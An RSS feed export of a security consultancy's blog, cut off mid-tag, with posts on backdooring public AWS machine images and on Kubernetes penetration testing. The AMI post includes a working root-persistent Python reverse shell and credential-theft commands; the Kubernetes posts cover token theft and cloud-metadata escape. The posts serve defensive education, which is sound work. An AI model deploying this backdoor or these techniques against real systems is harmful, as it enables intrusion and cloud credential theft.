<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Appsecco - Medium]]></title>
        <description><![CDATA[Blog posts from the Security Testing Teams and DevSecOps Teams at Appsecco. Covering security around applications, Cloud environments like AWS, Azure, GCP, Kubernetes, Docker. Covering DevSecOps topics such as Secrets Management, Secure CI/CD Pipelines and more - Medium]]></description>
        <link>https://medium.com/appsecco?source=rss----e2adb3957733---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Appsecco - Medium</title>
            <link>https://medium.com/appsecco?source=rss----e2adb3957733---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 03:39:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/appsecco" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Backdooring AMIs for Fun and Profit]]></title>
            <link>https://medium.com/appsecco/backdooring-amis-for-fun-and-profit-e5a02f256983?source=rss----e2adb3957733---4</link>
            <guid isPermaLink="false">https://medium.com/p/e5a02f256983</guid>
            <category><![CDATA[ec2]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[backdoor]]></category>
            <category><![CDATA[ami]]></category>
            <category><![CDATA[aws-security]]></category>
            <dc:creator><![CDATA[Ratnakar Singh]]></dc:creator>
            <pubDate>Tue, 26 Mar 2024 05:41:09 GMT</pubDate>
            <atom:updated>2024-03-26T05:41:09.386Z</atom:updated>
            <content:encoded><![CDATA[<p><em>In this blogpost, we look at what Amazon Machine Images are and how it is possible to backdoor AMIs to allow access to a victim’s AWS account. This post highlights the risks associated with using untrusted AMIs within your own AWS account.</em></p><h3><strong>What is an AMI?</strong></h3><p>An Amazon Machine Image (AMI) is a snapshot or pre-configured blueprint of a virtual server, commonly known as an EC2 instance on AWS. It is like capturing a freeze-frame of your computer’s entire setup, which would include the operating system, applications, and data. Essentially, a photo of your computer when everything is arranged the way you want. This snapshot can be stored for personal use or shared with others, enabling them to effortlessly replicate that virtual server in the cloud, achieving an environment that mirrors one’s desired state precisely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SgOX2AGx62jCMkrn6baUHw.png" /></figure><p>AWS has a lot of AMIs available for public consumption. These AMIs are created by organizations like Microsoft and Canonical for users who want to create EC2 instances in their own accounts (Windows and Ubuntu, in this case).</p><p>Most AWS heavy organisations have AMIs created from machines that were setup and configured for their specific business needs. Like having Apache installed on an Ubuntu box with addtional tools as required. The functionality of AWS requiring an AMI to launch an EC2 and users creating EC2s from AMIs from different sources, create 2 major security risks associated with AMIs</p><ol><li>A user creating an instance for use using a malicious third-party AMI</li><li>A user accidentally (or maliciously) exposing an AMI from their account resulting in system and business data loss</li></ol><p>In this blog post, we will evaluate the risk by becoming the bad guy and creating a malicious AMI, making it public and waiting for someone to use it so that we can gain access to the live EC2 that the user creates.</p><p>When a victim creates an EC2 instance from our image, the instance role attached to the victim’s EC2 instance can be accessed by using our AMI backdoor.</p><h3><strong>Creating The AMI</strong></h3><p><strong>Flow of actions:</strong> To achieve our objective, the process involves creating an EC2 instance, configuring it with a backdoor startup service, creating an AMI from this instance, and then making the AMI public. Subsequently, the EC2 will be repurposed as the attack server therefore, cleaning the backdoor from it and setting up a listener to initiate the process of listening for incoming connections.</p><h4><strong>Starting with a backdoor EC2</strong></h4><ol><li>Create an EC2 instance with SSH and HTTPS traffic allowed.</li><li>Connect to this instance via SSH an create a Python backdoor script,4</li></ol><p><strong>sudo nano /opt/startup_script.py</strong></p><blockquote>This Python script will establish a reverse shell connection to the public IP of this instance on port 443. When executed, the script periodically checks every 30 minutes whether the connection is active. If not, it will initiate the connection.</blockquote><pre>import socket<br>import subprocess<br>import os<br>import time<br><br># Attacker machine&#39;s IP address and listening port 443<br>server_ip = &quot;&lt;PUBLIC_IP&gt;&quot;<br>server_port = 443<br><br># Function to check if the system is connected to the attacker machine<br>def is_connected():<br>    try:<br>        # Create a socket and attempt to bind to the attacker&#39;s IP and port<br>        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>            s.settimeout(1)<br>            s.bind((&quot;0.0.0.0&quot;, server_port))<br>            s.listen(1)<br><br>            # If binding is successful, system is not connected<br>            return False<br>    except (socket.error, socket.timeout):<br><br>        # If an error occurs, system is connected<br>        return True<br><br># Function to establish a reverse shell connection to the attacker machine<br>def connect():<br>    try:<br>        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        s.connect((server_ip, server_port))<br><br>        # Redirect standard input, output, and error to the socket<br>        subprocess.Popen([&quot;/bin/bash&quot;, &quot;-i&quot;], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())<br><br>    except Exception as e:<br>        print(f&quot;An error occurred: {e}&quot;)<br><br> <br><br># Main execution<br>if __name__ == &quot;__main__&quot;:<br>    while True:<br>        # Check if the system is not connected, and attempt to establish a connection<br>        if not is_connected():<br>            try:<br>                connect()<br>            except Exception as e:<br>                print(f&quot;An error occurred: {e}&quot;)<br><br>        # Wait for 1800 seconds (30 minutes) before attempting another connection<br>        time.sleep(1800)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dk0IUa-9abDVtJ__BWlJ4w.png" /></figure><p>3. Create a startup service file at /etc/systemd/system/</p><p><strong>sudo nano /etc/systemd/system/startup_script.service</strong></p><blockquote>This service will execute the above Python script upon system startup. The service runs as the root user and is set to restart automatically in case of failure ensuring the persistence of the backdoor. The service unit is integrated into the system’s startup process and is dependent on network availability before execution.</blockquote><pre>[Unit]<br>Description=Startup Script<br>After=network.target<br><br>[Service]<br>Type=simple<br>ExecStart=/bin/python3 /opt/startup_script.py<br>User=root<br>Restart=always<br><br>[Install]<br>WantedBy=multi-user.target</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQPWB1vfo56ZJYAO_9f7mg.png" /></figure><p>4. Configure this service to start automatically each time the system boots</p><p><strong>sudo systemctl enable startup_script.service</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uLQDIMQ2bCXedGQJ5WGgtg.png" /></figure><h4><strong>Creating the AMI</strong></h4><p>With our malicious EC2 in its configured state, let’s move forward by creating an image of it.</p><ol><li>Go to the “Instances” page and select the EC2 we just created.</li><li>Expand the “Actions” drop-down menu at the at the top-right and select the “Create image” option under “Image and templates”</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kuLddRSUbsIwHiGqachjmQ.png" /></figure><p>3. Give a tempting name and description for the AMI which could attract our potential victim’s attention. And then, click on the “Create image” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h_AB1h6h3qXtV3NZ2-DQ2w.png" /></figure><p>4. Observe in the “Details” tab that the AMI is in “Pending” state and will take a few minutes based on the disk size of the instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*icaey2YS_Pgqd1JGDaXmQQ.png" /></figure><h4><strong>Making the AMI public</strong></h4><p>Now that we have our malicious AMI ready, we make the AMI available for public consumption.</p><p>Currently, the AMI is restricted to our AWS account and to propagate its effects, we need to share it with others.</p><p>In AWS, AMIs can have two access permissions: “Private” and “Public.”</p><blockquote><strong>Private AMI:</strong> It is exclusively accessible by the AWS account that created it. This access restriction ensures that only the specified AWS account ID can utilize the AMI. Private AMIs are suitable for scenarios where sensitive data and configurations require secure access within a specific AWS account.</blockquote><blockquote><strong>Public AMI:</strong> It is accessible by any AWS account across the same region as of the AMI. It is shared publicly, allowing any AWS user to launch instances from the AMI. Public AMIs are useful for widely applicable configurations or software that can be openly shared across different AWS accounts. They promote collaboration and usage by a broader audience, making them suitable for scenarios where open accessibility is desired.</blockquote><p>Let’s check the permissions assigned to our AMI. Navigate to the “Permissions” tab located on the “AMIs” page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oaJZAPMbc10HRGUGjpfjzQ.png" /></figure><p>Currently, it is set to “Private,” indicating that only we, within our account, have access to it. To make this AMI accessible to all users within the same region, we need to modify it to “Public”.</p><ol><li>Navigate to the “AMIs” page and click on the AMI ID to open the AMI we just created.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Y1IVmYv3E5Tw78o5z7jjw.png" /></figure><p>2. Click on the “Edit AMI permissions” button at the bottom-right.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KOiY3vHeHQnH1u0AEysz8g.png" /></figure><p>3. Here, we can see that the option to make the AMI “Public” is greyed out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04ZazfVWi2GFR_aZdixpNQ.png" /></figure><blockquote>This is because by default, public sharing of AMIs is restricted to prioritize security and prevent unintentional exposure of sensitive configurations or data. AWS follows a principle of least privilege, which means that services and resources are configured with the minimum level of access necessary.</blockquote><p>We must disable block public access for AMIs to grant “Public” access to our image.</p><p>4. Open the AWS CLI console from the “CloudShell” button presented on the dark grey strip at the top.</p><p>5. Disable block public access for AMIs using the command,</p><p><strong>aws ec2 disable-image-block-public-access — region us-east-1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7olPj3xMyxhP8IKgxRZ13A.png" /></figure><p>6. Now, reload the page and observe that the option to make the AMIs public is now available (it may take few minutes).</p><p>7. Check the radio button for “Public” and save the changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w1lBoXe6o-e17VyOBB5-ew.png" /></figure><p>This AMI is currently set to public visibility, and after a while, it will become available in the “Community AMIs” list for other AWS users in the same region. If any user deploys an EC2 instance using this image, it will initiate a reverse shell connection to our attacker server, but for that we must setup a listener.</p><h4><strong>Configuring the attack server</strong></h4><p>We employed our EC2 to create a malicious AMI, and now we will use it as a listener to receive incoming reverse shell connections. Let’s initiate the process by stopping the backdoor service.</p><p><strong>Note: </strong>These steps are not required if a new EC2 instance is going to be used to create the attacker server.</p><ol><li>Execute the below commands one by one on the EC2 to stop the startup service that was created for our rogue AMI.</li></ol><p><strong>sudo systemctl stop startup_script.service<br>sudo systemctl disable startup_script.service<br>sudo systemctl daemon-reload<br>sudo rm /etc/systemd/system/startup_script.service</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G9xh1f-zvyAdN6CZ-o5p5w.png" /></figure><p>These four commands, when executed in sequence, will stop the service, disable it from starting on boot, reload systemd to recognize any configuration changes, and finally, permanently remove the service by deleting its configuration file. This ensures the service is immediately halted from interfering with our listener as it is configured to point to this machine itself.</p><p>2. Install netcat on the system using,</p><p><strong>sudo yum -y install nc</strong></p><p>3. Now listen for incoming connections over port 443 using nc,</p><p><strong>sudo nc -lp 443</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*_FF6RtCCPTM97JV63SzsvQ.png" /></figure><h3><strong>Simulating The Victim</strong></h3><p>Now let’s simulate how an unsuspecting AWS user might fall into this trap by launching an EC2 instance using our malicious Amazon Machine Image (AMI).</p><ol><li>Sign-in using another AWS account (the victim) and proceed to create an EC2 instance.</li><li>Choose the “Browse more AMIs” option while selecting the AMI, it will redirect to the AMIs catalog.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oJb0ALDXmz5TNzX48-2JVw.png" /></figure><p>3. Go to the “Community AMIs” section there and search for a keyword related to the AMI name, such as “IoT” in this case.</p><p>4. Scroll down a bit and observe that the AMI we created is visible, select it and proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w7iP9Cc5Ogb5RHtjgadoQA.png" /></figure><p>5. Complete the EC2 creation by selecting an IAM role and allowing SSH and HTTPS traffic.</p><p>6. As soon as this instance is booted, there will be a reverse shell in the listener at our attack server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qs30DM67glrVOpGHUUI5Bw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mwhZBrn6C4z38VBMdpB03g.png" /></figure><p>Upon establishing a reverse shell on the victim’s EC2 instance, we can further escalate the attack by requesting temporary access keys through the AWS STS (Secure Token Service) using the command:</p><p><strong>aws sts get-session-token</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QjJ7IPaymKbtabra-3pMGQ.png" /></figure><p>These acquired access keys can then be used to manipulate other AWS resources, leveraging the permissions associated with the IAM role or role attached to the victim’s EC2 instance.</p><h3><strong>Risks Associated with Public AMIs</strong></h3><p>Using publicly available AMIs carries inherent risks since one is relying on images created by external parties which may not be well-known or guaranteed. The potential downsides encompass the inclusion of outdated or vulnerable software, underlying security vulnerabilities, or, as demonstrated, an intentionally injected backdoor. These uncertainties pose a threat to the integrity and security of the instances, necessitating a cautious evaluation of publicly shared AMIs.</p><p>Conversely, making your own AMIs public introduces a unique set of risks by exposing your configurations to a broader audience. This scenario raises concerns, especially if your AMI contains sensitive information or vulnerabilities. The consequence of making your AMIs public is that anyone with AWS credentials can use it potentially leading to unauthorized access and other security incidents.</p><h3><strong>Takeaways</strong></h3><ol><li><strong>Publicly Available AMIs:</strong></li></ol><ul><li><strong>Risk in Reliance:</strong> Depending on publicly available AMIs involves a level of risk since these images are created by external parties, and their content and security may not be well-vetted or guaranteed. Always use AWS approved AMIs wherever possible.</li><li><strong>Potential Pitfalls:</strong> The downsides include the presence of outdated or vulnerable software, underlying security vulnerabilities, and the possibility of intentional security threats like injected backdoors.</li></ul><p><strong>2. Making Your Own AMIs Public:</strong></p><ul><li><strong>Exposure of Configurations:</strong> Making your own AMIs public exposes your custom configurations to a wider audience, carrying inherent risks.</li><li><strong>Concerns with Sensitive Information:</strong> If your AMI contains sensitive information or vulnerabilities, there are potential concerns about unauthorized access and other security incidents especially if you have not scrubbed sensitive information from the instance before making an AMI out of it.</li></ul><p><strong>3. Necessity for Caution and Evaluation:</strong></p><ul><li><strong>Threats to Integrity and Security:</strong> The uncertainties associated with both using publicly available AMIs and making your own AMIs public pose threats to the integrity and security of instances.</li><li><strong>Cautious Evaluation:</strong> A careful and thorough evaluation of an AMI is crucial before making it public to mitigate potential confidentiality risks. Furthermore, it’s prudent to assume that public AMIs in the community may already be vulnerable, as literally anyone can make an AMI public as we just demonstrated.</li></ul><h3><strong>Miscellaneous</strong></h3><p>Some useful commands:</p><ul><li>Get current block access for AMIs: <br><strong>aws ec2 get-image-block-public-access-state — region &lt;REGION&gt;</strong></li><li>Disable block public access for AMIs: <br><strong>aws ec2 disable-image-block-public-access — region &lt;REGION&gt;</strong></li><li>Enable block public access for AMIs: <br><strong>aws ec2 enable-image-block-public-access — region &lt;REGION&gt; — image-block-public-access-state block-new-sharing</strong></li><li>Get current permission for an AMI: <br><strong>aws ec2 describe-image-attribute — image-id &lt;IMAGE_ID&gt; — attribute launchPermission</strong></li><li>To make an AMI public: <br><strong>aws ec2 modify-image-attribute — image-id &lt;IMAGE_ID&gt; — launch-permission “Add=[{Group=all}]”</strong></li><li>To make an AMI private: <br><strong>aws ec2 modify-image-attribute — image-id &lt;IMAGE_ID&gt; — launch-permission “Remove=[{Group=all}]”</strong></li><li>To request temporary credentials via the IMDSv2 service:<br><strong>TOKEN=$(curl -X PUT “http://169.254.169.254/latest/api/token&quot; -H “X-aws-ec2-metadata-token-ttl-seconds: 21600”) &amp;&amp; curl -H “X-aws-ec2-metadata-token: $TOKEN” -v http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;ROLE&gt;</strong></li></ul><h3><strong>Conclusion</strong></h3><p>In our exploration of Amazon Machine Images (AMIs), we’ve delved into their creation and the nuanced security risks involved. The blog has explained the risks of introducing backdoors to AMIs, exposing vulnerabilities when utilizing publicly available images, and the potential threats when sharing one’s own configurations.</p><p>The hands-on demonstration showcases the ease with which vulnerabilities can be introduced, especially when making configurations public. A key takeaway is the critical importance of thorough evaluation before sharing AMIs publicly or using public AMIs to mitigate risks associated with outdated software, security weaknesses, or intentional threats.</p><p>In summary, whether leveraging images created by others or sharing one’s configurations, a cautious and diligent approach is crucial to ensure the safety and privacy of instances within the AWS environment. This blogpost serves as a guide, underscoring the necessity for users to exercise vigilance in selecting and sharing public AMIs on AWS, thereby safeguarding the integrity and security of their instances and resources.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5a02f256983" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/backdooring-amis-for-fun-and-profit-e5a02f256983">Backdooring AMIs for Fun and Profit</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Pentester’s Approach to Kubernetes Security — Part 2]]></title>
            <link>https://medium.com/appsecco/a-pentesters-approach-to-kubernetes-security-part-2-8efac412fbc5?source=rss----e2adb3957733---4</link>
            <guid isPermaLink="false">https://medium.com/p/8efac412fbc5</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Riyaz Walikar]]></dc:creator>
            <pubDate>Thu, 16 Nov 2023 12:40:35 GMT</pubDate>
            <atom:updated>2023-11-18T09:37:43.041Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Pentester’s Approach to Kubernetes Security — Part 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wrT3ckjL1lj4EfwSgxz7PQ.png" /><figcaption>Dall E generated container ship being attacked</figcaption></figure><p>This is the second of the two-part blog series. Part 1 is covered here — <a href="https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-1-2b328252954a">https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-1-2b328252954a</a></p><p>We will continue and conclude with some more misconfigurations that have led to exciting results during our pentesting engagements.</p><h3>Vulnerabilities and Misconfigurations</h3><p>The misconfigurations covered in this post arise from going overboard with privilege assignments, either due to overlapping permission sets or poor implementation knowledge, especially with cloud-managed clusters. Additionally, exposing unauthenticated management dashboards to the Internet is always a bad idea.</p><h3>Permissions and Poor Privilege RBAC Management</h3><p>Kubernetes RBAC is implemented by assigning permissions (verbs) as a group (roles/clusterroles) using an association (rolebindings/clusterrolebindings) to a user, group or service account.</p><blockquote>Basically, a user or service account can be assigned a permission (or a set of permissions) via a role bound together with a rolebinding. Roles and Rolebindings are limited to specific namespaces whereas ClusterRoles and ClusterRoleBindings are cluster-wide.</blockquote><p>A common misconfiguration I come across is when overprivileged rolebindings and clusterrolebindings are assigned to arbitrary users, the default service accounts, or even worse to the system:anonymous account. Here’s an example of an overprivileged service account having cluster-admin access via the app-admin-deployer ClusterRoleBinding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QTyvRqVUtIOMwqmS" /><figcaption>A custom clusterrolebinding with cluster-admin role</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/0*9YOea3EurWTbUDOp" /><figcaption>cluster-admin clusterrole is bound to the app-admin-deployer-sa service account</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*wgWUp0Ltt8dAgLPU" /><figcaption>Secret within the service account</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1oqidAlaDkYAKzgi" /><figcaption>Secret contains all the key elements required to construct a working kubeconfig file</figcaption></figure><p>An attacker can use the ca.crt and token from here to become cluster administrator. These two values can be accessed from a pod’s mounted file system as well via the /var/run/secrets/kubernetes.io/serviceaccount path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/0*IY56_8tKtnRBQGsn" /><figcaption>token and ca.crt in the pod’s mounted file system</figcaption></figure><p>To discover overprivileged service accounts or users, follow these steps</p><ol><li>List all clusterroles, for each clusterrole obtain the verbs assigned using -o json</li><li>Identify any overprivileged clusterroles that can perform CRUD operations or the notorious value of “*”</li><li>List all clusterrolebindings and look for clusterrolebindings that have a privileged clusterrole attached</li><li>For each of these clusterrolebindings use -o json and identify the service accounts and users listed under subjects section</li><li>For each subject across each problematic clusterrolebinding, evaluate where it is being used.</li></ol><p>ClusterRoleBindings give privileges across the entire cluster and in most cases can be detected easily with tools, however RoleBindings for each namespace are not usually inspected by tools. These can be used to build cluster-wide permission scope (imagine rolebindings across each namespace giving admin privileges individually making it the same as cluster-wide admin). The attacker in such cases would work with a ca.crt and token for each namespace individually to mimic cluster-wide access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/0*rnrjHHB5eoSMOC7s" /><figcaption>A rolebinding with access to the system:anonymous user. The default namespace is readable without auth</figcaption></figure><h3>Cloud IAM, K8S mapping and Cluster to Cloud Escape</h3><p>Cloud-managed clusters like EKS and GKE implement an RBAC mapping layer between the cloud platform layer and Kubernetes so that any cloud IAM user provisioned to work with Kubernetes, can be assigned appropriate roles within the cluster.</p><p>In AWS, for example, you can follow this guide to see how an AWS IAM user, who did not create the cluster, can be assigned a Kubernetes user role.</p><p><a href="https://kloudle.com/academy/allowing-iam-users-to-access-aws-eks-using-kubectl/">https://kloudle.com/academy/allowing-iam-users-to-access-aws-eks-using-kubectl/</a></p><p>Imagine a scenario where an AWS IAM user (let’s call this user eksadmin) exists, who can create an EKS Cluster but does not have access to other services like AWS S3 or IAM. If the role, AmazonEKSNodeRole in this case, attached to the Cluster Node Group EC2 instances is over-privileged like it is as shown in the screenshot below, the eksadmin IAM user would be able to gain access to these other privileges via the nodes instance profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V_CLOZV4zgctg_lV" /><figcaption>Overprivileged roles attached to the AmazonEKSNodeRole</figcaption></figure><p>The eksadmin user can generate a kubeconfig file and use it to exec into a running pod. Once in the pod, the user can use the AWS cli directly or generate privileged temporary credentials using the STS service via IMDS on the nodes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GzwryF-adq_Op7N6" /><figcaption>Exec to a pod to access the Instance Metadata service on the underlying node</figcaption></figure><p>These credentials will have the same privileges as the AmazonEKSNodeRole IAM role, which in this case, will give full access to IAM and S3 as well.</p><p>For GKE, accessing the <a href="http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env">http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env</a> endpoint contains the values for CA_CERT, KUBELET_CERT, and KUBELET_KEY which are the initial bootstrap credentials the kubelet uses when attaching the node to the GKE cluster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*atZgz57HC9KBkqihspfsVw.png" /><figcaption>GKE kube-env exposing bootstrap credentials on non shielded GKE nodes</figcaption></figure><p>These can be used to construct a kubeconfig yaml to access the cluster or used directly in the command line</p><pre>kubectl -s=https://cluster-server-ip \<br>--client-certificate=/path/to/kubelet.crt \<br>--client-key=/path/to/kubelet.key \<br>--certificate-authority=/path/to/ca.crt \<br> get nodes</pre><p>This, however, only works on GKE clusters that have <a href="https://cloud.google.com/kubernetes-engine/docs/how-to/shielded-gke-nodes">Shielded Nodes</a> disabled AND have legacy metadata endpoint enabled, both of which are non-default settings, making this attack rare in modern day GKE clusters.</p><p>Additionally, the privileges obtained via the bootstrap credentials only have CertificateSigningRequests (CSR) permission, which need to be additionally exploited to generate fake CSR to escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZkRPjjgtAJi24bosA_aeAg.png" /><figcaption>kubelet bootstrap credentials do not have any useful perms, except CSR create and get permissions</figcaption></figure><p>For non Shielded GKE nodes, you can use a tool like <a href="https://github.com/4ARMED/kubeletmein">kubeletmein</a> to automate CSR generation for a non existing node and get a certificate in return from the kube-controller-manager which can be used to construct a kubeconfig with higher privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UQiUI29JX9BdMnxJjsGvLA.png" /><figcaption>fake worker node registration using CSR and kubeconfig genaration using kubeletmein</figcaption></figure><p>GKE, generally presents a harder attack and exploitation experience via its more modern defaults.</p><h3>Exposed Cluster Administration Dashboards</h3><p>The most common way of managing Kubernetes clusters is using the kubectl binary. Kubectl essentially makes HTTP and websocket requests to the Kubernetes API server. There are other UI products that can be used to interact with the control plane API like the Kubernetes dashboard, Weave Scope, Lens etc.</p><p>Usually, these management tools have authentication requirements but in the in the worst cases, these dashboards are accessible over the Internet without any authentication. A quick Shodan/Censys search will give you some very interesting results 😱</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eIXi5CqfOQ4E22SQ" /><figcaption>Exposed kubernetes dashboards on Censys</figcaption></figure><blockquote>These are live results, so recommend you do not interact with the clusters that you discover using Censys or Shodan.</blockquote><p>An attacker can simply pick a target, run pods, bring down deployments, exec into running pods, ping sweep and port scan adjacent pods and computes, extract tokens and certificates, reach the instance metadata service endpoints, extract cloud env variables and credentials and escape to the cloud layer. The possibilities are limitless for an attacker.</p><h3>Conclusion</h3><p>This post covers common misconfigurations with Kubernetes clusters around permissions, privileges and RBAC. Also, misconfigurations that can be abused to escalate privileges to eventually escape to the cloud layer are also covered.</p><p>OSINT tools like Shodan and Censys can also be used to find misconfigured Kubernetes dashboards that can allow for a complete takeover of the cluster and potentially the cloud platform also, via additional over-privileged role permissions.</p><p>PS: Our <strong><em>Kubernetes Penetration Testing as a Service</em></strong> offering can be used to run a real world penetration test on your clusters to assess its security. Drop in a hello to <a href="http://riyaz@appsecco.com/">riyaz@appsecco.com</a> to know more!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*YRFEqdvhNNic7fyh.png" /><figcaption><a href="https://appsecco.com/">https://appsecco.com</a></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8efac412fbc5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/a-pentesters-approach-to-kubernetes-security-part-2-8efac412fbc5">A Pentester’s Approach to Kubernetes Security — Part 2</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Pentester’s Approach to Kubernetes Security — Part 1]]></title>
            <link>https://medium.com/appsecco/a-pentesters-approach-to-kubernetes-security-part-1-2b328252954a?source=rss----e2adb3957733---4</link>
            <guid isPermaLink="false">https://medium.com/p/2b328252954a</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Riyaz Walikar]]></dc:creator>
            <pubDate>Wed, 08 Nov 2023 06:29:16 GMT</pubDate>
            <atom:updated>2023-11-17T04:25:21.217Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Pentester’s Approach to Kubernetes Security — Part 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*em6KxDn0fHfZovigyrzCrQ.png" /><figcaption>Dall E generated Kubernetes Hacker at Work</figcaption></figure><p>This is the first of a two-part blog series based on vulnerabilities we usually identify during Kubernetes Penetration Tests that we run for our customers at Appsecco.</p><p>Part 2 is now live at — <a href="https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-2-8efac412fbc5">https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-2-8efac412fbc5</a></p><h3>Introduction</h3><p>Kubernetes security is notoriously complex to get right the first time, especially with so many moving parts, resources, RBAC, cloud-managed IAM, other neighbouring VPCs and computes, service or application level vulnerabilities or simply using vulnerable configurations during cluster setup up, or even at workload orchestration stages.</p><p>I have run several Penetration Tests on Kubernetes clusters in the last half a decade, across managed clusters on various cloud providers and on standalone clusters hosted on-prem and cloud compute instances. Regardless of the setup, there are a lot of common misconfigurations I have seen which I wanted to share with our readers.</p><p><em>Obviously, this is not an exhaustive list and a lot more misconfigurations can occur that can be used to exploit the cluster to gain access to data and/or administrative control over the cluster/cloud platform itself.</em></p><h3>Vulnerabilities and Misconfigurations</h3><p>Most misconfigurations that become security vulnerabilities in Kubernetes arise from the various possible config options that can be used to create the cluster, setup workloads, configure network policies and while working with Authentication and Authorization.</p><h4>Network/Service visibility-based misconfigurations</h4><p>Kubernetes has an extensive external and internal attack surface — Kubernetes admins often rely on network (cloud-based or otherwise) firewalls to restrict access to the API server, LoadBalancers and NodePorts.</p><p>For example, for Nodes in a NodeGroup in an AWS EKS cluster, AWS Security Groups are used to restrict SSH access, access to the API service, and even to the LoadBalancer that is set up to allow users access to the app/product hosted within the cluster.</p><p>A dangerous possibility is to have a Kubernetes HTTP API proxy server running, usually with the command kubectl proxy --address 0.0.0.0 --accept-hosts ^.* which allows unrestricted access to the API server with the permissions of the kubectl <em>kubeconfig</em> user on the default port of 8001. By default the HTTP proxy does not allow any host access that does not meet the following regular expression ^localhost$,^127.0.0.1$,^[::1]$, but by adding the --accept-hosts ^.* parameter, the API accepts requests on all assigned interfaces.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*poN238DB1j6tbG4D" /><figcaption>kubectl proxy command to expose the control plane API on all interfaces</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/0*3Mb6xa_jZax9hZCy" 